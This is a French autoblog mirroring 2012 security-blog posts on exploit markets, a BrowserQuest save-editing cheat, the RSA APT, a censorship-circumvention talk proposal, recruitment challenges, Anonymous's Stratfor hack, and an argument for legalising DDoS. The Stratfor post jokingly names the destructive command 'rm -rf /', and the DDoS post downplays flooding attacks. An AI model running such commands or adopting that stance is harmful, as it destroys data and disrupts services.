Autoblog d'Exploitability

Ce site n'est pas le site officiel exploitability.blogspot.com.
C'est un blog automatisé qui réplique les articles de exploitability.blogspot.com

Update

Updating database... Please wait.

Acheter et vendre des exploits - part1 2007

Wednesday 9 May 2012 at 16:53

Il y a cinq ans Charlie Miller, un chercheur en sécurité informatique publiait un document expliquant les difficultés pour vendre un exploit. Ses arguments sont construits à partir de la vente de deux exploits en 2007, mis ils restent pertinents aujourd'hui. Cet article est écrit du point de vue d'un chercheur en sécurité qui veut vendre ses exploits, au meilleur prix. Les aspects éthiques, corrections de la faille ou diffusions de celle-ci, etc, ne l'intéressent pas. On peut le considérer comme un mercenaire de la vente de la faille, son discours "No more free bugs" (Cansecwest 2009) allant dans ce sens.

Lecture commentée de l'article de Charlie Miller.

1/ Valeur de l'exploit
Tout d'abord la valeur d'une faille dépend d'un paramètre entièrement indépendant du vendeur et du chercheur qui est sa publicité. En effet, une faille mise en vente peut voir son prix tomber à zéro le jour où elle est soit publique, soit patchée. La rapidité des négociations est donc un point primordial. Je suis d'accord avec lui, même s'il existe encore un laps de temps entre un exploit pleinement fonctionnel tenu secret, la divulgation d'une faille, son correctif et la diffusion du correctif (on parle bien aujourd'hui des demi-days).

2/ Prix de vente
Ensuite, le prix de vente est un jeu d'aveugles. Du fait de la nature de ce commerce, il est impossible de connaître un tarif honnête. Quelques tableaux de ventes existent sur internet, très flous, mais aucun cours légal n'existe. Je pense toutefois qu'un chercheur en sécurité peut estimer la valeur de sa faille. Et que la fiabilité de l'exploit est directement liée avec sa valeur. La faille de sudo n'a pas la même valeur selon la publication faite par l'auteur que celle retravaillée ensuite qui fonctionne plus largement, et qui bypasse divers mécanismes de sécurité.


3/ Trouver l'acheteur
Pour Charlie Miller, il n'existe pas de moyen simple de trouver un acheteur. Il a du ouvrir son propre agenda (il a a travaillé 5 ans à la NSA quand même) et appeler un peu au hasard ses contacts avant de trouver un intermédiaire qui pouvait le mettre en relation avec une agence gouvernementale intéressée par son exploit. Le risque pour lui était grand de tomber face à des charlatans (au mieux) ou des mafias (au pire). Pour moi, ce point a bien évolué. Il existe des entreprises ayant pignon sur rue achetant des exploits, ou des programmes d'achat de failles (Bug bountys chrome, firefox, etc..). Toutefois les prix sont bien différents[1].

4/ Vérification de l'acheteur
Les acheteurs étant par essence peu connus, il est difficile de leur faire confiance à priori. Et comme le vendeur est pris par le temps puisqu'il doit vendre avant que la faille soit redécouverte et que cet évènement peut se produire n'importe quand, le temps de vérifier les intentions de l'acheteur est bien maigre.

 5/ Démonstration de l'exploit
De plus, pour vendre l'exploit il faut démontrer son existence. Mais la simple évocation d'un exploit peut permettre à quelqu'un de le retrouver! Indiquer à un acheteur potentiel qu'une faille est en vente sans plus de précision n'aboutira pas. Et indiquer qu'on possède un buffer overflow sur wu-ftpd avant authentification permet à l'acheteur de manifester son interêt, mais est une information suffisate pour permettre à un attaquant suffisamment skillé de redécouvrir la faille, faisant immédiatement perdre le bénéfice de la vente!
En absence d'un tiers de confiance, soit l'acheteur paye sans voir, soit le vendeur donne l'exploit en espérant un chèque un peu plus tard. Mais comme le vendeur espère tirer le maximum de profit de son exploit, il doit donner des détails précis sur celui-ci! J'avais lu un découpage des hackers en 5 catégories:
6/ La propriété intellectuelle de l'exploit
Dans ce jeu secret de vente d'exploit, le vendeur peut se faire doublement avoir. Tout d'abord, un acheteur intéressé peut refuser la vente à tout moment. Une des raisons du refus étant que l'acheteur, à l'aide des informations fournies par le vendeur, a retrouvé la faille et produit un exploit. A quoi bon payer dans ce
cas? Et l'acheteur peut faire un coup double en revendant à son tour l'exploit à un tiers! Ces négociations étant secrètes et toujours en l'absence de tiers de confiance, l'inventeur original n'a aucun moyen de faire valoir ses droits.

7/ Exclusivité de droits
Le point 6/ a immédiatement une position similaire du côté du vendeur. L'ensemble étant secret, le vendeur pourra toujours vendre son exploit à autant de parties souhaitées! Charlie Miller, pourtant intéressé par l'argent depuis le début se tient à une honnêteté stricte (ou tout du moins le laisse t'il entendre). Il conçoit que l'acheteur prend un risque en achetant l'exploit, mais il est prêt à céder les droits à un seul acheteur, bien qu'il sache très bien qu'un acheteur ne pourra jamais prouver que le vendeur ait vendu cet exploit à plusieurs personnes.

Charlie Miller propose ensuite diverses solutions pour vendre des exploits de manière sécurisée sur lesquelles je ne reviendrai pas, la principale étant d'avoir un tiers de confiance, mais comme il l'indique "Legal issues should be adressed".

Il relate ensuite comment avoir vendu deux exploits. Le premier touchant un démon linux courant, proposé 80000 dollars à une agence américaine (je suppose un acronyme à 3 lettres) qui lui a finalement été acheté 50000. Il est amer sur cette vente car il a estimé seulement après coup pouvoir démarrer les négociations bien au delà de 80000$. Et à 80000$ l'exploit, on comprend mieux son combat pour le "no more free bugs". Un article chez Sid de 2009 table sur un salaire annuel de 130000$ et des ventes d'exploits vers 10000$. L'article finit en disant "Quiconque pense vivre de ces trouvailles aura donc intérêt à sérieusement se creuser le citron pour sortir une douzaine de failles intéressantes, sous peine de devoir se diversifier sérieusement...". A 80000$, la problématique est différente et permet de passer quelques mois pour une faille[2].
Le second exploit est un semi-échec puisqu'un patch est sorti avant que la vente ne termine (12000$ pour un exploit sur powerpoint).

Je pense que Charlie Miller a raison sur les problématiques de vente d'exploit, mais qu'il oublie un point essentiel. Il oublie qu'il est Charlie Miller, chercheur en sécurité reconnu, auteur de plusieurs failles de sécurité, auditeur de conférences en sécurité, etc..
De fait, lorsqu'il propose à la vente un exploit, il peut toujours l'envoyer à l'acheteur sans trop de risques, surtout s'il s'agit d'une agence de sécurité américaine et ce, pour deux raisons.
La première étant qu'il a comme il le dit lui même la possibilité de mettre à zéro la valeur de cet exploit en contactant l'éditeur de sécurité. Cette force oblige l'acheteur à se manifester rapidement [3]. Il perd une vente, mais l'acheteur peut voir son investissement réduit à néant.
La seconde raison vient de la nature de l'acheteur. Lorsque vous êtes une grosse agence de sécurité nationale et qu'un auteur d'exploit reconnu comme Charlie Miller vient vous vendre quelque chose, vous ne pouvez pas le laisser repartir déçu sinon il ira vendre ses exploits à d'autres personnes (où d'autres gouvernements). Et de fait, je pense que l'acheteur n'achète pas qu'un exploit, il achète également la possibilité de continuer à collaborer! Pour cette raison, il aurait du être quasiment sûr d'être payé tôt ou tard.
Moralité: si vous êtes Charlie Miller, vous pouvez vendre des exploits sans trop de risques. Si vous êtes inconnu, diffusez les plutôt dans des conférences de sécurité afin de vous faire connaître pour pouvoir vendre les suivants sans risque :-)

Ce post étant un peu long, je le coupe en 2. La seconde partie va traiter de la vente d'exploit aujourd'hui en 2012.
...TO BE CONTINUED


[1] A titre d'exemple, le bounty max de Chrome valait 3133,70 dollars alors qu'une faille Chrome était estimée à +100000 dollars...
[2] D'un autre côté, Kostya Kortchinsky indique ne pas avoir plus de 5 jours à passer sur la pseudo faille du serveur TSE de microsoft.
[3] Même si la timeline de la vente est assez effrayante de ce point de vue. Proposée le 27 juillet, chèque reçu le 9 septembre. Cela laisse suffisamment de temps à l'acheteur d'utiliser l'exploit dans une campagne d'attaque ciblée avant de se rétracter ou de diffuser publiquement la faille.

Source: http://exploitability.blogspot.com/feeds/1088827460883250762/comments/default


Juste des hashs

Monday 9 April 2012 at 22:44

kevin@slackware:~$ vi doc.txt
reading doc.txt

wrote doc.txt, 190 lines, 8175 chars
kevin@slackware:~$ md5sum doc.txt
7c57b61f9f99c541ea8c17f1f4b8ded4  doc.txt
kevin@slackware:~$ sha1sum doc.txt
2035d6d4e944f8716e85d688057dde5e7cc7c32f  doc.txt
kevin@slackware:~$

Source: http://exploitability.blogspot.com/feeds/8249444273632848361/comments/default


Browserquest de mozilla, c'est quand meme plus simple que le SSTIC

Tuesday 3 April 2012 at 09:09


Afin de promouvoir la norme HTML5, mozilla a publié un jeu n'utilisant que cette technologie : browserquest.
Le jeu ressemble à Zelda, et plusieurs références très geeks émaillent le jeu (Nyan cat, Portal, Star wars, Le seigneur des anneaux, Mario bros, Rickroll, etc..).

Le principe du jeu est simple, vous démarrez simple joueur avec une petite épée et au fur et à mesure de la progression, des armes plus puissantes peuvent être utilisées. Un mécanisme d'"achievement" est présent, vous récompensant de différentes réussites (se faire rickroller, tuer 50 ennemis, etc..). Je n'ai pas joué fort longtemps, mais la carte à l'air assez grande. Le problème dans ce genre de jeu, c'est que l'on commence assez faible et que le moindre ennemi vous achève en un tour de jeu ce qui est vite assez frustrant.

Dans le temps, les joueurs tentaient souvent de modifier les sauvegardes pour s'arroger des vies supplémentaires. Nous avons lu que le jeu autosauve les caractéristiques du joueur (HTML5 et Localstorage).
Créons un joueur appelé Palladin (oui, je fais original):


Fermons l'onglet du navigateur. Si je rouvre le navigateur on me propose bien de nouveau ce personnage:


Il est donc enregistré quelque part.

$ grep -rl Palladin .mozilla/firefox/
.mozilla/firefox/70willuz.default/webappsstore.sqlite

Les données semblent être enregistrées dans cette base sqlite3.
$ sqlite3 webappsstore.sqlite
SQLite version 3.7.5
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .table
webappsstore2
sqlite> .schema webappsstore2
CREATE TABLE webappsstore2 (scope TEXT, key TEXT, value TEXT, secure INTEGER, owner TEXT);
CREATE UNIQUE INDEX scope_key_index ON webappsstore2(scope, key);
sqlite> select scope from webappsstore2;
 (...)
gro.allizom.tseuqresworb.:http:80
sqlite>
L'utilisateur averti comprend vite que le domaine se lit à l'envers, on lit bien browserquest.mozilla.org

sqlite> select value from webappsstore2 where scope='gro.allizom.tseuqresworb.:http:80';
{"hasAlreadyPlayed":true,"player":{"name":"Palladin","weapon":"sword1","armor":"clotharmor","image":"data:image/png;base64,iVBO (...) gg=="},"achievements":{"unlocked":[4],"ratCount":1,"skeletonCount":0,"totalKills":1,"totalDmg":24,"totalRevives":0}}
Rien n'est obfusqué (j'ai juste réduite le base64 de l'image png), il est donc temps d'aller chercher le code source du jeu pour connaitre la liste des armes disponibles. On se doute bien que weapon et armor sont à modifier, et que le "unlocked" d'achievements est une simple liste.

Le fichier shared/js/gametype.js donne toutes les infos nécessaires.
Types.rankedWeapons = [
    Types.Entities.SWORD1,
    Types.Entities.SWORD2,
    Types.Entities.AXE,
    Types.Entities.MORNINGSTAR,
    Types.Entities.BLUESWORD,
    Types.Entities.REDSWORD,
    Types.Entities.GOLDENSWORD
];

Types.rankedArmors = [
    Types.Entities.CLOTHARMOR,
    Types.Entities.LEATHERARMOR,
    Types.Entities.MAILARMOR,
    Types.Entities.PLATEARMOR,
    Types.Entities.REDARMOR,
    Types.Entities.GOLDENARMOR
];
Donc goldensword et goldenarmor semblent être des options intéressantes :-)

La deuxième variable concerne les achievments, et l'on va tous se les arroger. Une requête sqlite unique permet de modifier tout cela:

$ sqlite3 webappsstore.sqlite
sqlite> update webappsstore2 set value='{"hasAlreadyPlayed":true,"player":{"name":"Palladin","weapon":"goldensword","armor":"goldenarmor","image":"data:image/png;base64,iVB (...) gg=="},"achievements":{"unlocked":[4,1,2,3,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20],"ratCount":0,"skeletonCount":0,"totalKills":0,"totalDmg":0,"totalRevives":0}}' where scope='gro.allizom.tseuqresworb.:http:80';
Et on relance le jeu. Le palladin a changé d'apparence et de puissance:
Tout de suite, ça fait sérieux.

Et pour les achievements:

Win \o/ 

Vous pouvez courir plein nord pour aller défaire le boss.

C'est d'une simplicité désarmante au contraire du SSTIC où je semble être coincé sur une webcam USB qui ne veut rien me dire :-/

EDIT (06avril) : Sous Google Chrome, le fichier sqlite est enregistré sous:
~/.config/google-chrome/Default/Local Storage. Le fichier n'est pas suffixé en sqlite, et se nomme http_browserquest.mozilla.org_0.localstorage.
La table ne contient qu'une seule ligne et vous pouvez l'updater de la même manière:
update ItemTable set value='{"hasAlreadyPlayed (...) ' where value like 'has';

Source: http://exploitability.blogspot.com/feeds/6545185410512850306/comments/default


Il y a un an, RSA était victime d'un APT. Etat des lieux.

Wednesday 14 March 2012 at 12:59

Il y a un an, la compagnie RSA annonçait qu'une partie de son infrastructure était sous le contrôle d'attaquants via une attaque de type APT (Advanced Persistent Threat). Le post de blog très technique de RSA (voir la 2e partie du message "anatomy of an attack") indiquait un spear phishing  associé à un 0day, puis un RAT qui a permis à un attaquant de se déplacer latéralement dans le réseau extrêmement rapidement avant d'exfiltrer les données. L'attaque a été rapide car RSA avait détecté la brèche, mais n'a malgré tout pas pu éviter le vol de données.

La compagnie command five a produit un rapport sur les canaux de communication utilisés par des APT d'un groupe de pirate qui utilise les mêmes systèmes et serveurs de commandes et contrôles. Parmi les compagnies citées nous retrouvons RSA. Le rapport confirme effectivement le post de blog à quelques détails près (apparemment le RAT pour RSA n'était pas poison ivy, mais murcy). Ce rapport permet d'éclairer certains points très intéressants sur le mode de fonctionnement et sur la détection des APT.

1/ L'installation du RAT
Rien de bien nouveau, nous retrouvons dans les cas exposés un RAT qui s'installe via du spear phishing et éventuellement un certificat valide volé dans certain cas. Les RAT n'ont rien de spécialement avancé puisque ce sont des outils que l'on trouve sur internet, certains d'entre eux existant en version commerciale (!) : X-shell par exemple ou Poison Ivy.

2/ Le contrôle des machines
Pour contrôler les machines, les ports et protocoles classiques sont utilisés: DNS puis du HTTP ou HTTPs. Les machines se connectent régulièrement sur les serveurs C&C et envoient de l'information.
Rien de très avancé non plus, depuis les réseaux RFC1918 il est plus simple à une machine d'un LAN de se connecter sur une machine à IP publique que l'inverse.

Certains noms de domaine sont choisis pour ressembler à des domaines connus, comme
*.windowupdate.com (il manque le 's' à windows) ou *.alyac.org (alyac est un outil de sécurité) afin de leurrer l'oeil non exercé d'un administrateur vérifiant ses logs.

Les protocoles sont basés sur du HTTP, c'est du GET ou du POST normal avec des données, ce qui signifie qu'un firewall ou un proxy applicatif laissera passer ces données.

3/ Comportement et détection de ces RAT
Commençons par le mauvais côté, celui ou il est difficile de se défendre.
Le bon côté c'est qu'il existe des moyens de détecter ces APT en raison de leur comportement. Ils existe deux types de défense à ces APT, tout d'abord celles qui existent déjà et dont les entreprises sont coupables de ne pas les avoir mises en oeuvre, et les défenses qui n'existent pas encore mais qui devraient être développées.

Défenses possibles:
 Défenses à créer:
4/ Conclusion
EDIT: Pour résumer, nous pouvons considérer que l'entrée d'un attaquant dans un réseau est difficile à bloquer: spear phishing évolué, 0day (et inefficacité des certificats). Par contre, l'auteur de l'APT va chercher par la suite à se déplacer latéralement dans le réseau visé. C'est sans doute là qu'il est le plus vulnérable, du fait de ses fréquents allers-retours entre le C&C et les machins vulnérables.
Nous verrons peut-être un jour des malwares se déplacer à la manière de drone absolu sans aucun contact avec l'extérieur si ce n'est l'exfiltration des données finale. Ceux-là seront particulièrement difficile à bloquer. Mais un malware pourra t'il embarquer suffisamment d'intelligence?

[1] C'est d'ailleurs un problème mathématique amusant: Soit une distribution de noms associés à leur heure de résolution ['nom',heure]. Comment détecter dans cette distribution des évènements répétitifs?

Source: http://exploitability.blogspot.com/feeds/51442839040684993/comments/default


L'envoi de paquets sur internet est un sport de combat -RMLL2012-

Wednesday 29 February 2012 at 10:16

Les RMLL sont un cycle non commercial de conférences, tables rondes et atelier pratiques autour du Logiciel Libre et de ses usages. Chaque année depuis 12 ans, un appel à conférences est envoyé et chacun peut proposer son sujet.

Je propose cette année un sujet qui traite de la liberté d'accès à Internet. Voici la soumission que j'ai faite aux RMLL:


L'envoi de paquets sur internet est un sport de combat. 

Hadopi, ACTA, filtrage, Internet limité, DPI, Révolution 2.0, neutralité du net... Le temps ou un accès internet consistait systématiquement en une adresse IP publique et ou le filtrage n'existait pas est révolu. En effet, la neutralité du net est remise en cause jusqu'à voir naître des lois sur le sujet, les FAI n'hésitent plus à filtrer ou brider internet et de plus en plus d'affaires d'écoutes et de détournements de trafic sont portées à l'attention du public.

Que signifie aujourd'hui un accès à internet?
Les atteintes à la liberté d'Internet peuvent être classées en trois catégories qui seront présentées en première partie. Cela concerne le filtrage par port, par IP ou par domaine, l'écoute des communications par un tiers et la censure des communications et documents. Ces trois failles utilisent souvent les mêmes techniques que sont les sondes firewalls et les sondes DPI (Deep Packet Inspection).
La seconde partie vise à présenter présenter ces techniques de suivi et coupure de connexions et de donner ensuite des méthodes pratiques afin de les contourner ou de les rendre aveugles.
  1. Internet filtré, internet écouté, internet censuré!
  2. Internet n'est pas que le web, mais le web est l'élément incoutournable d'internet. Les deux notions seront donc différenciées le cas échéant, mais il est généralement fait mention d'accès au web.
    1. Le filtrage
      • Le filtrage s'effectue par IP, par port ou par domaine DNS. Liste noire, liste blanche, limitations.
      • Le filtrage est aisément détectable, une fois l'hypothèse de la panne écartée.
    2. L'écoute
      • Eventuellement indétectable!
      • Le Deep Packet Inspection
      • Quelques méthodes de détection des écoutes (sans garanties)
    3. La censure
      • Pas de blocage franc aisément détectable
      • Souvent lié à l'écoute et/où à la géolocalisation
      • Lois contre la neutralité d'internet
    4. Points communs entre ces entorses à la liberté de l'accès internet
      • On retouve des techniques de DPI
      • Souvent placées sur les noeuds de sortie, FAI ou pays.
  3. Retrouver un Internet libre ou 'Full Access'
    1. Petit panorama des sondes DPI actuelles
      • Jusqu'ou va le DPI? Quelle profondeur? A quel débit?
      • Pour quels réseaux
      • -Internet IPv4 / IPv6
        -Internet mobile/GSM
      • Méthodes pour outrepasser le chiffrement
      • -Sa détection
        -Son interdiction
        -La non sécurité de SSL
    2. Qu'est ce qu'un accès internet libre?
    3. Définition de ce qu'est un accès internet "acceptable".
    4. Les solutions
      • Principes de contournement du filtrage: le tunnel
      • Principes d'aveuglement de l'écoute: le chiffrement
      • Principes de contournement de la censure: multiplicité des sources d'accès
      • L'utilité d'une (ou plusieurs) machine(s) tierce(s) sous contrôle
      • Ninja tricks
      • -tunnels
        -evasion
        -chiffrement
        -special tricks
  4. Conclusion

La réponse sera donnée courant avril.

Commentaires et questions bienvenus afin d'enrichir le débat.

Source: http://exploitability.blogspot.com/feeds/3741728877354112/comments/default


Un recruteur qui vous challenge?

Tuesday 7 February 2012 at 09:58

Il y a quelques jours, je lisais le magazine MISC et une offre d'emploi a attiré mon attention. En effet, au milieu de cette annonce, une suite de caractères qui challenge le candidat "7Pp7W2Yr".

Ce challenge mène à quatre questions à résoudre et une nouvelle adresse mail où candidater. Sans doute que ceux qui utiliseront cette adresse mail plutôt que la générique de l'annonce auront plus de chances :-)

De plus en plus de sociétés proposent des challenges pour découvrir et recruter des candidats. Il faut bien avouer que c'est quand même plus sympathique que de devoir passer la barrière du DRH+secrétaire qui ont souvent le malheur de ne pas très bien connaître les skills de ingénieurs en sécurité. Au moins, un bon challenge permet vite de trier les candidats sur une base claire.

Je propose quelques sites de société ayant mis en place des challenges de recrutement (et que j'ai résolu pour certains \o/ ). Je vais essayer d'en parler sans trop spoiler.
Il y a eu sûrement d'autres sites webs de challenge, si vous en connaissez, vous pouvez les faire suivre, en attendant le fameux challenge du SSTIC (qui sert selon toute vraisemblance d'examen de recrutement pour l'ANSSI :-) ).

EDIT: L'ANSSI a son challenge apparemment.

Et se pose alors une question, qu'est ce qu'un bon challenge? Un bon challenge, c'est celui qui n'a qu'une réponse, et une fois cette réponse trouvée qu'elle ne donne pas prise à la contestation. Dans un bon challenge, les fausses pistes doivent également être écartables de façon non ambiguë.
Il est donc plus difficile de faire un bon challenge que de le résoudre.

Ainsi, le troisième challenge de winamax démarre par l'analyse d'une trace pcap. La première chose que l'on fait, c'est regarder les IP. Et malheureusement, l'IP utilisée n'a rien à voir dans la résolution du challenge, et c'est une IP publique (mettre une IP privée aurait permis d'écarter l'hypothèse d'une attaque online). Il est vain d'essayer de la nmapper, c'est un pauvre gars sur internet qui n'a rien à voir avec le challenge. 
De manière opposée, le challenge SSTIC de l'an passé avait une base de données. Les mots de passe des utilisateurs, une fois décodés, indiquaient "nothing interesting here.". C'est clair, et ça permet d'éviter de chercher de la faille SQL inutilement. Le challenge Raytheon est également d'une clarté sans faille (gag). L'image du challenge comporte un texte indiquant "Sometime it helps considering the source". Source HTML? La solution est donc là sans ambigüité.

Un article sur les challenges mérite bien d'en proposer un, en voici un que j'avais proposé à mes étudiants lorsque j'étais enseignant. L'énoncé était le suivant:

    00 90 fb 10 04 bf 00 23 ae 8b 19 7b 08 00 45 00
00 30 f0 65 40 00 80 06 92 ab c0 a8 67 10 5e 8e
f1 6f 06 72 00 17 66 40 50 0c 00 00 00 00 70 02
ff ff 4e 93 00 00 02 04 05 b4 01 01 04 02
Question: Quel est le titre du film?

La solution ne permet pas de douter de celle-ci. Enjoy.
[Et merci à N.R. pour raytheon et facebook]

Source: http://exploitability.blogspot.com/feeds/1976139134493182712/comments/default


Légalisons les cybermanifestations: autorisons le DDoS.

Tuesday 31 January 2012 at 09:50


La presse généraliste s'empare de plus en plus du phénomène Anonymous depuis la fermeture de Megaupload.
Un parallèle est souvent fait entre les revendications d'Anonymous et des DDOS lancés sur certains sites vitrines d'organisations. Ces DDOS sont actuellement illégaux, et les auteurs risquent différentes condamnations. Je propose une légalisation de ces DDOS en les associant dans le même cadre légal qu'une manifestation physique. Une manifestation, c'est une réunion de personnes qui souhaitent faire passer un message et ces manifestations, sous conditions, sont autorisées [généralement, tant que cela ne trouble pas l'ordre public].

Explication en deux temps; tout d'abord une clarification du phénomène DDOS et une remise à plat de certaines idées reçues, ensuite un parallèle technique, financier et médiatique de ces DDOS pour aborder la question de la responsabilité.

1/ Non, le DDOS n'est pas destructif!
Un DOS, c'est rendre inaccessible un service de traitement automatisées de données (STAD). Un DDOS, c'est un DOS distribué par plusieurs auteurs, (j'y reviendrai). Je pense qu'il faut arrêter les amalgames. Aussi bien sur crimenumérique que sur le CERTA on lit que certains DOS passent par la destruction de données, ou la mise hors service de certains systèmes de traitements.
Les DDOS que l'on a vu ces derniers temps n'ont jamais été destructif, et n'ont jamais duré bien longtemps. Il s'agit du flood d'un site web. Cette distinction est à mon avis essentielle. Condamner un participant à un DDOS avec l'argument consistant à dire que les DOS sont quelquefois destructifs me parait douteux.

2/ Et si ces DDOS n'étaient que des cybermanifestations?
Ces floods, ou DDOS, ont un impact technique, financier et médiatique.

A/ Technique
Nous voyons donc des DDOS qui consistent uniquement en une innondation de requêtes un site vitrine d'une organisation. Pas de divulgation de documents, pas de destruction. Les conséquences techniques sont donc bénignes. Cela s'apparente donc à une manifestation pacifique de piétons devant le siège d'une organisation. Un encombrement passager, mais dès la fin de la manifestation, un retour en fonctionnement optimal [1].
Un DDOS par flood est donc assimilable à un slashdot effect. Un DDOS non destructif par flood ne devrait poser aucun problème technique (j'insiste) au gestionnaire du site vitrine autre que l'inaccessibilité de celui-ci.

B/ Financier
Le volet financier d'un DDOS est plus difficile à appréhender. Certains sites vitrines n'ont aucune vocation financière. hadopi.fr est un site d'information généraliste, sans publicité. Une extinction temporaire de celui-ci ne devrait donc avoir aucune conséquence financière (je ne parle pas du déficit d'image, traité au dessous).
Il est sans doute possible de calculer un déficit pour lexpress. Ils doivent conserver des statistiques de clics sur les publicités (en imaginant qu'il s'agit de leur seule source de revenus), et une mise hors service de quelques heures doit être chiffrable, si tant est que cette entrée d'argent soit significative sur une période aussi courte.
On le voit, un DDOS sur des sites vitrines et non marchands ont un impact si ce n'est faible, au moins chiffrable. [2]
Lors d'une manifestation dans le monde réel, des magasins peuvent choisir de fermer, ou vont voir leur chiffre d'affaire très fortement réduit. Il existe des mécanismes d'indemnisations [si un juriste me lit et qu'il connait l'article de loi et un exemple ou deux, ça m'intéresse].


C/ Médiatiquement
Médiatiquement, une attaque comme un DDOS est censé attirer l'attention.
Actuellement, il est difficile de soutenir qu'un DDOS est lancé pour mettre au silence un site ou une organisation. Un DDOS sert surtout à montrer du doigt une organisation et avoir ainsi une tribune de revendications.
Paradoxalement, on pourrait même dire qu'un DDOS fait de la publicité pour le site visé. Si je prends lexpress, l'attaque a fait parler d'eux, et les gens sont donc mathématiquement allé les voir. 

On le voit, un DDOS par innondation de requêtes sur un site vitrine est très proche d'une manifestation physique. Il ne manque toutefois plus que le volet de la responsabilité.

3/ Et la responsabilité dans tout ça?
Une manifestation, c'est une déclaration à la préfecture, c'est un responsable nommé, c'est un certain cadre autour de celle-ci. Un DDOS, c'est effectué sur un coin d'IRC et repris par tout un tas d'anonymes, diluant ainsi la responsabilité (au contraire d'un DOS qui peut être le fait d'une personne unique). Et cette question de responsabilité pose actuellement un problème car elle n'est pas réglé. On oscille entre des faux conseils d'amis: "un DDOS c'est pas grave, joins toi à nous" et des descentes de la DCRI au petit matin.

Mon idée est donc simple: Légalisons le DDOS par une déclaration à la préfecture de manière identique à ce qui se fait pour une manifestation IRL.
Un responsable identifié indiquerait donc, non pas un parcours, mais une date de début et de fin ainsi qu'un trafic estimé, cela donnerait:
"je soussigné, XXX, va organiser un DDOS sur le site vitrine YYY; nous manifesterons de 14h à 18h à l'aide d'un débit estimé à ZZZ requêtes/ secondes[3]. Copie de cette information est fournie au gestionnaire du site visé.

Ce qui donnerait donner des déclarations intéressantes le lendemain:
-80000 requêtes/s et 200 IP différentes selon la police, 120000 et 400 IP selon les manifestants, le trafic n'a été que ralenti hier après midi sur le site YYY. Les manifestants revendiquaient pour (...)"

---
[1] Si un système informatique pâtit d'un DDOS par flood, c'est qu'il est en carton et le coupable serait donc plus celui qui a monté ce système en carton que ceux qui accèdent à ce site.
[2] Les sites "pure player" comme Paypal ne peuvent pas se permettre de subir une coupure de service. Leur solution sera donc technique, un DDOS c'est basiquement celui qui a la plus grosse. A paypal de faire ce qu'il faut pour conserver un accès au réseau. Mais c'est une histoire de coût qui doit être anticipé. Lorsque la survie d'un site dépend du net, alors des moyens doivent être mis en oeuvre pour diminuer l'impact des DDOS [qui ne sont pas forcément malveillant, cf un slashdot effect ou des cas d'écoles de la fiche du CERTA]. Un manifestant avisé peut également choisir de ne pas attaquer ce genre de site.
[3] ou tout autre procédé, hein, je ne suis pas sectaire là-dessus, voir même un ajout de l'evil bit pour pouvoir calculer facilement le volume d'impact :-)

Source: http://exploitability.blogspot.com/feeds/8684269038244313196/comments/default


Anonymous Vs Stratfor: KO en un round.

Tuesday 10 January 2012 at 11:27


En fin d'année, Anonymous a releasé un récapitulatif de ses exploits dans un log txt AnonymousZine.txt (une rapide recherche google vous le donnera): Hack de stratfor.com, cslea.com, nychiefs.og et specialforces.com.
Le document, bien que txt, contient des ASCII-ART:
(on arrive à lire Antisec) et le désormais classique masque de Guy Fawkes:
Cette table des matières donne le lien vers la plateforme Antisec de TPB et leur ambassade qui est un site .onion (installez tor).

Je livre ici une petite analyse du hack de stratfor en me basant sur les documents fournis, sous réserve qu'ils soient rééls et authentiques. Je ne reviendrai pas sur l'aspect politique du mouvement. Anonymous est une menace largement plus politique que technique, mais il est rare d'obtenir des logs comme ceux-ci qui permettent de voir une attaque 'in situ'. Je laisse le soin à d'autres personnes de discuter de la portée politique de leurs actes, seule une analyse technique sera présentée.

Stratfor.com est une société d'intelligence économique (espionnage industriel en bon français). On peut imaginer que leur site web est donc très bien protégé et que la sécurité générale est d'un très bon niveau. La divulgation faite par Anonymous montre que non. Je résume tout d'abord certains mails, puis l'état de leurs serveurs.

1/ quelques emails:
Stratfor a malgré tout bien compris qu'ils étaient "under attack". Mais le mail d'un sysadmin demandant 2 jours pour vérifier le système a été refusé. Ils s'étaient rendus compte qu'un de leur serveurs web avaient un load à 100% et contenait des scripts inconnus dans /root. Effectivement, ça mérite un "pull the plug".
[ Pour élargir le débat, qui a le pouvoir "pull the plug" de manière générale? Est-ce une prérogative à ajouter dans les droits d'un admin sys? ]

Ce n'est suite à l'attaque que Statfor s'est rendu compte que leurs sauvegardes emails se faisaient sur la même machine physique que le serveur de mail (!).
Ce n'est qu'une fois attaqués qu'ils se sont posés la question de la méthode de chiffrement des mots de passe. Ils ont beau eu indiquer sur facebook que les mots de passe étaient chiffrée en one-way MD5, la réalité montre qu'il ne s'agissait que du hash, donc des mots de passe ont été révélés. La liste complète des emails doit donner plus d'informations, mais elle n'est pas encore divulguée.

2/ et leurs serveurs
Concernant les serveurs, par contre, c'est plutôt une catastrophe. Anonymous fournit un log ssh relativement complet sur l'état et le contenu des serveurs (généralement un cat des fichiers shadow, .bash_history .ssh/* et des fichiers de confs). Il manque toutefois l'essentiel: l'attaque en elle-même ce qui est aisément compréhensible.
Le premier log laisse penser qu'Anonymous est entré avec un uid apache, et a monté root ensuite. [ Faille SQL suivie d'un shell suivi d'une escalade de privilèges? C'est non précisé. ]

Le premier serveur attaqué, le frontal web, apparemment, est une gentoo à noyau 2.6.24 (plusieurs failles de sécurité existent sur ce noyau) démarré depuis 2008 (!). Un utilisateur est logué sur la console tty1 depuis 27 jours (accès physique au serveur?). Le répertoire de /root est une catastrophe, il contient des sources, des fichiers Mac OS (ils ont branché une clé USB ou quoi?), des dossiers en vrac (genre un dossier bin/ un b/, un yourmom/ !). Le .bash_history de root montre un admin qui fouille ses logs, soit car il track anonymous, soit par curiosité normale. Ses clés ssh ne sont pas protégées... [ Je vais être mauvaise langue, mais un serveur comme celui-ci méritait bien un rm -rf / uniquement pour le ranger un peu.. ]

Les .bash_history des autres utilisateurs montrent que ce serveur sert également à faire du dev, ce qui est à l'encontre de toutes les bonnes pratiques. Les autres clés ssh trouvées n'ont pas non plus de mot de passe. Les fichiers de config .php sont également dumpés, donnant accès à la base de données. Ceci dit, quand un attaquant à les droits root, c'est généralement game over.

